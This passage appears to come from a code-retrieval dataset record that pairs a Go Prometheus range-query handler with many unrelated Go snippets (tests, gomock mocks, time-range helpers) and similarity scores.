\"/anime.php?c%5B%5D=a&c%5B%5D=b&c%5B%5D=c&c%5B%5D=d&c%5B%5D=e&c%5B%5D=f&c%5B%5D=g&genre%5B%5D=1&genre%5B%5D=4&genre%5B%5D=5&gx=0&mid=0&p=0&q=naruto&score=0&status=0&type=0\",\n\t\t},\n\t}\n\n\tfor _, param := range testList {\n\t\tu, _ := url.Parse(param.URL)\n\t\tq := SetSearchParams(u, param.Query)\n\t\tu.RawQuery = q.Encode()\n\t\tif u.String() != param.Result {\n\t\t\tt.Errorf(\"SetSearchParams() failed: expected %v got %v\", param.Result, u.String())\n\t\t}\n\t}\n}", "func MockQuery3() *types.Query {\n\tquery := &types.Query{\n\t\tDataSetName: mockWikiStatDataSet,\n\t\tTimeInterval: &types.TimeInterval{Name: \"date\", Start: \"2021-05-06\", End: \"2021-05-08\"},\n\t\tMetrics: []string{\"source_avg\"},\n\t\tDimensions: []string{\"project\", \"class_name\"},\n\t\tFilters: []*types.Filter{\n\t\t\t{OperatorType: types.FilterOperatorTypeNotIn, Name: \"path\", Value: []interface{}{\"*\"}},\n\t\t\t{OperatorType: types.FilterOperatorTypeIn, Name: \"project\", Value: []interface{}{\"city\", \"school\", \"music\"}},\n\t\t},\n\t\tOrders: []*types.OrderBy{\n\t\t\t{Name: \"project\", Direction: types.OrderDirectionTypeDescending},\n\t\t},\n\t}\n\treturn query\n}", "func TestSingleRangeReverseScan(t *testing.T) {\n\tdefer leaktest.AfterTest(t)\n\ts, db := initReverseScanTestEnv(t)\n\tdefer s.Stop()\n\n\t// Case 1: Request.EndKey is in the middle of the range.\n\tif rows, err := db.ReverseScan(\"b\", \"d\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 2 {\n\t\tt.Errorf(\"expected 2 rows; got %d\", l)\n\t}\n\t// Case 2: Request.EndKey is equal to the EndKey of the range.\n\tif rows, err := db.ReverseScan(\"e\", \"g\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 2 {\n\t\tt.Errorf(\"expected 2 rows; got %d\", l)\n\t}\n\t// Case 3: Test roachpb.KeyMax\n\t// This span covers the system DB keys.\n\twanted := 1 + len(sql.GetInitialSystemValues())\n\tif rows, err := db.ReverseScan(\"g\", roachpb.KeyMax, 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != wanted {\n\t\tt.Errorf(\"expected %d rows; got %d\", wanted, l)\n\t}\n\t// Case 4: Test keys.SystemMax\n\tif rows, err := db.ReverseScan(keys.SystemMax, \"b\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 1 {\n\t\tt.Errorf(\"expected 1 row; got %d\", l)\n\t}\n}", "func TestGetQueryOnMissingQueryParams(t *testing.T) {\n\t// set up test server and mocked LogStore\n\tmockLogStore := new(MockedLogStore)\n\tserver := newTestServer(mockLogStore)\n\ttestServer := httptest.NewServer(server.server.Handler)\n\tdefer testServer.Close()\n\tclient := testServer.Client()\n\n\t//\n\t// set up mock expectations\n\t//\n\n\t//\n\t// make calls\n\t//\n\ttests := []struct {\n\t\tquery map[string]string\n\t\texpectedValidationErr string\n\t}{\n\t\t// missing namespace\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: namespace\",\n\t\t},\n\t\t// missing pod_name\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: pod_name\",\n\t\t},\n\t\t// missing container_name\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: container_name\",\n\t\t},\n\t\t// missing start_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"missing query parameter: start_time\",\n\t\t},\n\t\t// invalid start_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018/01/01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"failed to parse start_time\",\n\t\t},\n\t\t// invalid end_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018/01/01T14:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"failed to parse end_time\",\n\t\t},\n\t\t// start_time after end_time\n\t\t{\n\t\t\tquery: map[string]string{\n\t\t\t\t\"namespace\": \"default\",\n\t\t\t\t\"pod_name\": \"nginx-deployment-abcde\",\n\t\t\t\t\"container_name\": \"nginx\",\n\t\t\t\t\"start_time\": \"2018-01-01T12:00:00.000Z\",\n\t\t\t\t\"end_time\": \"2018-01-01T10:00:00.000Z\",\n\t\t\t},\n\t\t\texpectedValidationErr: \"query time-interval: start_time must be earlier than end_time\",\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tqueryURL, _ := url.Parse(testServer.URL + \"/query\")\n\t\tqueryParams := queryURL.Query()\n\t\taddQueryParams(&queryParams, test.query)\n\t\tqueryURL.RawQuery = queryParams.Encode()\n\t\tresp, _ := client.Get(queryURL.String())\n\t\t// should return 400 (Bad Request)\n\t\tassert.Equalf(t, http.StatusBadRequest, resp.StatusCode, \"unexpected response code\")\n\t\texpectedErr := fmt.Sprintf(`{\"message\":\"invalid query\",\"detail\":\"%s\"}`, test.expectedValidationErr)\n\t\tassert.Equalf(t, expectedErr, readBody(t, resp), \"unexpected response\")\n\n\t}\n\n}", "func (cte *ConcurrencyTestEngine) TestGenSQSQRange(c *C) {\n\tfmt.Printf(\"Call to function TestGenSQSQRange\\n\")\n\t// Set up the pipeline and consume the output.\n\tfor n := range sq(sq(gen(2, 3))) {\n\t\tfmt.Println(n) // 16 then 81\n\t}\n}", "func TestStoreExecuteCmdBadRange(t *testing.T) {\n\tstore, _, _ := createTestStore(t)\n\tdefer store.Close()\n\t// Range is from \"a\" to \"z\", so this value should fail.\n\targs, reply := getArgs(\"0\")\n\targs.Replica.RangeID = 2\n\terr := store.ExecuteCmd(\"Get\", &args.RequestHeader, args, reply)\n\tif err == nil {\n\t\tt.Error(\"expected invalid range\")\n\t}\n}", "func (m *MockKairosDBClient) QueryMetrics(ctx context.Context, dsInfo *datasource.DatasourceInfo, request *remote.MetricQueryRequest) ([]*remote.MetricQueryResults, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryMetrics\", ctx, dsInfo, request)\n\tret0, _ := ret[0].([]*remote.MetricQueryResults)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDiff) Ranges(arg0 context.Context, arg1 []ldiff.Range, arg2 []ldiff.RangeResult) ([]ldiff.RangeResult, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Ranges\", arg0, arg1, arg2)\n\tret0, _ := ret[0].([]ldiff.RangeResult)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MongoSearchSuite) TestEncounterPeriodQueryObject(c *C) {\n\tq := Query{\"Encounter\", \"date=2012-11-01T08:50-05:00\"}\n\n\to := m.MongoSearcher.createQueryObject(q)\n\tc.Assert(o, HasLen, 2)\n\n\t// 2012-11-01T08:50:00-05:00 <= period.start <= period.end < 2012-11-01T08:51:00-05:00\n\n\tc.Assert(o[\"period.start.time\"].(bson.M), HasLen, 1)\n\tstart := o[\"period.start.time\"].(bson.M)[\"$gte\"].(time.Time)\n\tc.Assert(start.UnixNano(), Equals, time.Date(2012, time.November, 1, 8, 50, 0, 0, m.EST).UnixNano())\n\n\tc.Assert(o[\"period.end.time\"].(bson.M), HasLen, 1)\n\tend := o[\"period.end.time\"].(bson.M)[\"$lt\"].(time.Time)\n\tc.Assert(end.UnixNano(), Equals, time.Date(2012, time.November, 1, 8, 51, 0, 0, m.EST).UnixNano())\n}", "func (m *MockMutableList) RemoveRange(min, max ID) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"RemoveRange\", min, max)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func Test_UnionRange(t *testing.T) {\n\tsetup()\n\tdefer teardown()\n\tlog(\"UnionRange\")\n\t//1..100 in -20..5, 10..100\n\tr1 := CreateFromToRangeInts(-20, 5)\n\tr2 := CreateFromToRangeInts(10, 100)\n\tunionTest(t, [][]int{{1, 100}}, []IRange{r1, r2}, [][]int{{1, 5}, {10, 100}})\n}", "func (m *MockTChanNode) Query(ctx thrift.Context, req *QueryRequest) (*QueryResult_, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", ctx, req)\n\tret0, _ := ret[0].(*QueryResult_)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func adjustQueryTimes(from time.Time, to time.Time, interval Interval) (time.Time, time.Time, error) {\n\tfromRounded := roundupTimeForInterval(from, interval)\n\ttoRounded := roundupTimeForInterval(to, interval)\n\n\t// Data is available from the OPEN API for 90 days\n\tninetyDaysAgo := roundupTimeForInterval(time.Now().Add(-NINETY_DAYS), interval)\n\n\t// Is the 'to' (end) time before data is available? If so, that's an error.\n\tif timeBeforeOldestData(toRounded, ninetyDaysAgo) {\n\t\terr := errors.New(\"Time range is before available data\")\n\t\tlog.DefaultLogger.Info(\"adjustQueryTimes\", \"err\", err)\n\t\treturn fromRounded, toRounded, err\n\t}\n\n\t// Limit the 'from' (start) time to when the oldest data is available.\n\tfromLimited := limitTimeToOldestData(fromRounded, ninetyDaysAgo)\n\n\t// Returned the fixed 'to' and 'from' times.\n\treturn fromLimited, toRounded, nil\n}", "func QueryTimeRange(\n\tquery *influxql.Query, now time.Time) (min, max time.Time, err error) {\n\treturn queryTimeRange(query, now)\n}", "func rangeQuery(begin, end string) string {\n\tresult := allQuery\n\n\thasBegin := begin != \"\"\n\thasEnd := end != \"\"\n\n\tconst dbDate string = `strftime('%Y%m%d', entered, 'unixepoch', 'start of day')`\n\n\tif hasBegin || hasEnd {\n\t\tresult = result + `WHERE `\n\t\tif hasBegin {\n\t\t\tresult = result + dbDate + ` >= '` + begin + `' `\n\t\t\tif hasEnd {\n\t\t\t\tresult = result + `AND `\n\t\t\t}\n\t\t}\n\t\tif hasEnd {\n\t\t\tresult = result + dbDate + ` <= '` + end + `'`\n\t\t}\n\t}\n\treturn result\n}", "func TestParsing05(t *testing.T) {\n\tvar q = \"%a-b-c%d\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err == nil {\n\t\tt.Errorf(\"Expected Error, (Query: %s) should NOT BE parsed [contains %%, where not expected]\", q)\n\t}\n}", "func (m *MockBulkOperationService) BulkQuery(arg0 context.Context, arg1 string, arg2 interface{}) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BulkQuery\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTestClient) GetPointsByQuery(arg0 context.Context, arg1 test.GetPointsByQueryArgs) (*test.TestPointsQuery, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPointsByQuery\", arg0, arg1)\n\tret0, _ := ret[0].(*test.TestPointsQuery)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (_m *OrderRepository) FindRange(limit, offset int) (*[]order.Order, error) {\n\tret := _m.Called(limit, offset)\n\n\tvar r0 *[]order.Order\n\tif rf, ok := ret.Get(0).(func(int, int) *[]order.Order); ok {\n\t\tr0 = rf(limit, offset)\n\t} else {\n\t\tif _, ok := ret.Get(0).(*[]order.Order); ok {\n\t\t\tr0 = ret.Get(0).(*[]order.Order)\n\t\t} else {\n\t\t\tr0 = nil\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(int, int) error); ok {\n\t\tr1 = rf(limit, offset)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "func (_m *DeleteItemBuilder) WithRange(rangeValue interface{}) ddb.DeleteItemBuilder {\n\tret := _m.Called(rangeValue)\n\n\tvar r0 ddb.DeleteItemBuilder\n\tif rf, ok := ret.Get(0).(func(interface{}) ddb.DeleteItemBuilder); ok {\n\t\tr0 = rf(rangeValue)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(ddb.DeleteItemBuilder)\n\t\t}\n\t}\n\n\treturn r0\n}", "func TestRangeLookupWithOpenTransaction(t *testing.T) {\n\tdefer leaktest.AfterTest(t)()\n\ts, _, _ := serverutils.StartServer(t, base.TestServerArgs{})\n\tdefer s.Stopper().Stop()\n\tdb := createTestClient(t, s.Stopper(), s.ServingAddr())\n\n\t// Create an intent on the meta1 record by writing directly to the\n\t// engine.\n\tkey := testutils.MakeKey(keys.Meta1Prefix, roachpb.KeyMax)\n\tnow := s.Clock().Now()\n\ttxn := roachpb.NewTransaction(\"txn\", roachpb.Key(\"foobar\"), 0, enginepb.SERIALIZABLE, now, 0)\n\tif err := engine.MVCCPutProto(\n\t\tcontext.Background(), s.(*server.TestServer).Ctx.Engines[0],\n\t\tnil, key, now, txn, &roachpb.RangeDescriptor{}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Now, with an intent pending, attempt (asynchronously) to read\n\t// from an arbitrary key. This will cause the distributed sender to\n\t// do a range lookup, which will encounter the intent. We're\n\t// verifying here that the range lookup doesn't fail with a write\n\t// intent error. If it did, it would go into a deadloop attempting\n\t// to push the transaction, which in turn requires another range\n\t// lookup, etc, ad nauseam.\n\tif _, err := db.Get(\"a\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "func (m *MockQueueManager) RangeDeleteMessagesFromDLQ(ctx context.Context, firstMessageID, lastMessageID int64) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"RangeDeleteMessagesFromDLQ\", ctx, firstMessageID, lastMessageID)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestMultiRangeReverseScan(t *testing.T) {\n\tdefer leaktest.AfterTest(t)()\n\ts, _, _ := serverutils.StartServer(t, base.TestServerArgs{})\n\tdefer s.Stopper().Stop()\n\tdb := initReverseScanTestEnv(s, t)\n\n\t// Case 1: Request.EndKey is in the middle of the range.\n\tif rows, pErr := db.ReverseScan(\"a\", \"d\", 0); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != 3 {\n\t\tt.Errorf(\"expected 3 rows; got %d\", l)\n\t}\n\tif rows, pErr := db.ReverseScan(\"a\", \"d\", 2); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != 2 {\n\t\tt.Errorf(\"expected 2 rows; got %d\", l)\n\t}\n\t// Case 2: Request.EndKey is equal to the EndKey of the range.\n\tif rows, pErr := db.ReverseScan(\"d\", \"g\", 0); pErr != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", pErr)\n\t} else if l := len(rows); l != 3 {\n\t\tt.Errorf(\"expected 3 rows; got %d\", l)\n\t}\n}", "func TestMultiRangeReverseScan(t *testing.T) {\n\tdefer leaktest.AfterTest(t)\n\ts, db := initReverseScanTestEnv(t)\n\tdefer s.Stop()\n\n\t// Case 1: Request.EndKey is in the middle of the range.\n\tif rows, err := db.ReverseScan(\"a\", \"d\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 3 {\n\t\tt.Errorf(\"expected 3 rows; got %d\", l)\n\t}\n\t// Case 2: Request.EndKey is equal to the EndKey of the range.\n\tif rows, err := db.ReverseScan(\"d\", \"g\", 0); err != nil {\n\t\tt.Fatalf(\"unexpected error on ReverseScan: %s\", err)\n\t} else if l := len(rows); l != 3 {\n\t\tt.Errorf(\"expected 3 rows; got %d\", l)\n\t}\n}", "func (b *RangeQuery) Init(hostSetup *HostSetup, agentNum int) error {\n\tb.Name = \"range-query\"\n\tb.Seed = b.Seed + int64(agentNum)\n\treturn b.HasClient.Init(hostSetup, agentNum)\n}", "func TestValidateMaxQueryLength(t *testing.T) {\n\tt.Parallel()\n\tctx := context.Background()\n\tnow := time.Now()\n\tfor _, tc := range []struct {\n\t\tname string\n\t\tstart time.Time\n\t\tend time.Time\n\t\texpectedStartMs int64\n\t\texpectedEndMs int64\n\t\tmaxQueryLength time.Duration\n\t\texceedQueryLength bool\n\t}{\n\t\t{\n\t\t\tname: \"normal params, not hit max query length\",\n\t\t\tstart: now.Add(-time.Hour),\n\t\t\tend: now,\n\t\t\texpectedStartMs: util.TimeToMillis(now.Add(-time.Hour)),\n\t\t\texpectedEndMs: util.TimeToMillis(now),\n\t\t\tmaxQueryLength: 24 * time.Hour,\n\t\t\texceedQueryLength: false,\n\t\t},\n\t\t{\n\t\t\tname: \"normal params, hit max query length\",\n\t\t\tstart: now.Add(-100 * time.Hour),\n\t\t\tend: now,\n\t\t\texpectedStartMs: util.TimeToMillis(now.Add(-100 * time.Hour)),\n\t\t\texpectedEndMs: util.TimeToMillis(now),\n\t\t\tmaxQueryLength: 24 * time.Hour,\n\t\t\texceedQueryLength: true,\n\t\t},\n\t\t{\n\t\t\tname: \"negative start\",\n\t\t\tstart: time.Unix(-1000, 0),\n\t\t\tend: now,\n\t\t\texpectedStartMs: 0,\n\t\t\texpectedEndMs: util.TimeToMillis(now),\n\t\t\tmaxQueryLength: 24 * time.Hour,\n\t\t\texceedQueryLength: true,\n\t\t},\n\t} {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\t//parallel testing causes data race\n\t\t\tlimits := DefaultLimitsConfig()\n\t\t\toverrides, err := validation.NewOverrides(limits, nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tstartMs, endMs, err := validateQueryTimeRange(ctx, \"test\", util.TimeToMillis(tc.start), util.TimeToMillis(tc.end), overrides, 0)\n\t\t\trequire.NoError(t, err)\n\t\t\tstartTime := model.Time(startMs)\n\t\t\tendTime := model.Time(endMs)\n\t\t\tif tc.maxQueryLength > 0 {\n\t\t\t\trequire.Equal(t, tc.exceedQueryLength, endTime.Sub(startTime) > tc.maxQueryLength)\n\t\t\t}\n\t\t})\n\t}\n}", "func (m *MockFinder) Execute(ctx context.Context, query string, from int64, until int64) error {\n\tm.query = query\n\treturn nil\n}" ]
[ "0.665511", "0.64821535", "0.64226943", "0.641075", "0.6378854", "0.6291864", "0.62539876", "0.6217114", "0.6146091", "0.608437", "0.6080927", "0.6067886", "0.6040535", "0.60203004", "0.59420097", "0.5906466", "0.5882489", "0.5859144", "0.5818247", "0.5814378", "0.58021086", "0.57962704", "0.5790565", "0.57702875", "0.5766519", "0.57388437", "0.5733372", "0.5707679", "0.5707165", "0.57061136", "0.56968516", "0.56948614", "0.5673546", "0.5668135", "0.56566596", "0.5637828", "0.5567191", "0.55238307", "0.5506851", "0.55064136", "0.5503981", "0.5499593", "0.5476163", "0.54563487", "0.54204774", "0.54182476", "0.5412897", "0.54056317", "0.54049754", "0.5401259", "0.53818905", "0.53761095", "0.5374458", "0.53738564", "0.5371158", "0.535325", "0.53443503", "0.533802", "0.53356135", "0.53056693", "0.52878785", "0.5276504", "0.5247666", "0.52434427", "0.5240627", "0.5236297", "0.52349067", "0.52187985", "0.52131784", "0.5189697", "0.51774085", "0.51768607", "0.5166451", "0.516585", "0.5161716", "0.5160331", "0.51601076", "0.5154528", "0.5150284", "0.51472026", "0.5146971", "0.51469195", "0.5134528", "0.51264685", "0.5126056", "0.5125123", "0.5125065", "0.5119501", "0.51044095", "0.5103902", "0.5102812", "0.5086998", "0.50833726", "0.50731385", "0.50576365", "0.5045617", "0.5042629", "0.50290924", "0.50277925", "0.50272524" ]
0.8045845
0
QueryRange indicates an expected call of QueryRange
func (mr *MockprometheusInterfaceMockRecorder) QueryRange(query, step, stepVal interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "QueryRange", reflect.TypeOf((*MockprometheusInterface)(nil).QueryRange), query, step, stepVal) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p *QL) QueryRange(w http.ResponseWriter, r *http.Request) {\n\n\ttoken := core.RetrieveToken(r)\n\tif len(token) == 0 {\n\t\trespondWithError(w, errors.New(\"Not authorized, please provide a READ token\"), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tcontext := Context{}\n\tvar err error\n\n\tcontext.Start, err = core.ParsePromTime(r.FormValue(\"start\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"entity\": \"start\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tcontext.End, err = core.ParsePromTime(r.FormValue(\"end\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"entity\": \"end\",\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.End.Before(context.Start) {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": errors.New(\"end is before start\"),\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"entity\": \"start\",\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"End is before start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tcontext.Step, err = core.ParsePromDuration(r.FormValue(\"step\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"entity\": \"step\",\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: step\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.Step == \"0 s\" {\n\t\trespondWithError(w, errors.New(\"zero or negative query resolution step widths are not accepted. Try a positive integer\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.Step == \"\" {\n\t\tcontext.Step = \"5 m\"\n\t}\n\n\tcontext.Query = r.FormValue(\"query\")\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"proto\": \"promql\",\n\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t}).Debug(\"Evaluating query\")\n\n\tcontext.Expr, err = promql.ParseExpr(context.Query)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"query\": context.Query,\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t\t\"err\": err,\n\t\t}).Debug(\"Bad query\")\n\t\trespondWithError(w, err, http.StatusUnprocessableEntity)\n\t\treturn\n\t}\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"proto\": \"promql\",\n\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t}).Debug(\"Query is OK\")\n\n\tevaluator := evaluator{}\n\ttree := evaluator.GenerateQueryTree(context)\n\n\tmc2 := tree.ToWarpScriptWithTime(token, context.Query, context.Step, context.Start, context.End)\n\tmc2 += \"\\n[ SWAP mapper.tostring 0 0 0 ] MAP\\n\"\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"source\": r.RemoteAddr,\n\t\t\"proto\": \"promql\",\n\t\t\"method\": r.Method,\n\t\t\"path\": r.URL.String(),\n\t}).Debug(\"PromQL query\")\n\n\twarpServer := core.NewWarpServer(viper.GetString(\"warp_endpoint\"), \"prometheus-query-range\")\n\tresponse, err := warpServer.Query(mc2, w.Header().Get(middlewares.TxnHeader))\n\tif err != nil {\n\t\twErr := response.Header.Get(\"X-Warp10-Error-Message\")\n\t\tif wErr == \"\" {\n\t\t\tdump, err := httputil.DumpResponse(response, true)\n\t\t\tif err == nil {\n\t\t\t\twErr = string(dump)\n\t\t\t} else {\n\t\t\t\twErr = \"Unparsable error\"\n\t\t\t}\n\t\t}\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": fmt.Errorf(wErr),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"Bad response from Egress: \" + err.Error())\n\t\trespondWithError(w, fmt.Errorf(wErr), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\tbuffer, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"can't fully read Egress response\")\n\t\trespondWithError(w, err, http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\n\t// HACK : replace Infinity values from Warp to Inf\n\ts := strings.Replace(string(buffer), \"Infinity\", \"+Inf\", -1)\n\ts = strings.Replace(s, \"-+Inf\", \"-Inf\", -1)\n\tbuffer = []byte(s)\n\n\tresponses := [][]core.GeoTimeSeries{}\n\terr = json.Unmarshal(buffer, &responses)\n\tif err != nil {\n\t\twErr := response.Header.Get(\"X-Warp10-Error-Message\")\n\t\tif wErr == \"\" {\n\t\t\tdump, err := httputil.DumpResponse(response, true)\n\t\t\tif err == nil {\n\t\t\t\twErr = string(dump)\n\t\t\t} else {\n\t\t\t\twErr = \"Unparsable error\"\n\t\t\t}\n\t\t}\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": fmt.Errorf(wErr),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"Cannot unmarshal egress response: \" + err.Error())\n\t\trespondWithError(w, fmt.Errorf(wErr), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\t// Since it's a range_query, we can enforce the matrix resultType\n\tprometheusResponse, err := warpToPrometheusResponseRange(responses[0], model.ValMatrix.String())\n\tif err != nil {\n\t\tw.Write([]byte(err.Error()))\n\t\trespondWithError(w, err, http.StatusServiceUnavailable)\n\t}\n\trespond(w, prometheusResponse)\n}", "func RangeQuery(in Query, r types.Request) (out Query) {\n\tout = in.Skip(r.Start)\n\tout = out.Limit(r.Length)\n\treturn\n}", "func (s *countAPI) QueryRange(ctx context.Context, query string, r v1.Range) (model.Value, v1.Warnings, error) {\n\ts.callCount[\"QueryRange\"]++\n\treturn s.API.QueryRange(ctx, query, r)\n}", "func (serv MetricsService) QueryRange(w http.ResponseWriter, r *http.Request) {\n\tsetAccessControlHeaders(w)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tparams := httputils.GetQueryParams(r)\n\texpr := params.Get(\"expr\")\n\n\tduration, err := parseDuration(params.Get(\"range\"))\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query range: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tstep, err := parseDuration(params.Get(\"step\"))\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query resolution: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tend, err := parseTimestampOrNow(params.Get(\"end\"), serv.Now())\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query timestamp: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\t// TODO(julius): Remove this special-case handling a while after PromDash and\n\t// other API consumers have been changed to no longer set \"end=0\" for setting\n\t// the current time as the end time. Instead, the \"end\" parameter should\n\t// simply be omitted or set to an empty string for that case.\n\tif end == 0 {\n\t\tend = serv.Now()\n\t}\n\n\texprNode, err := rules.LoadExprFromString(expr)\n\tif err != nil {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(err))\n\t\treturn\n\t}\n\tif exprNode.Type() != ast.VectorType {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(errors.New(\"expression does not evaluate to vector type\")))\n\t\treturn\n\t}\n\n\t// For 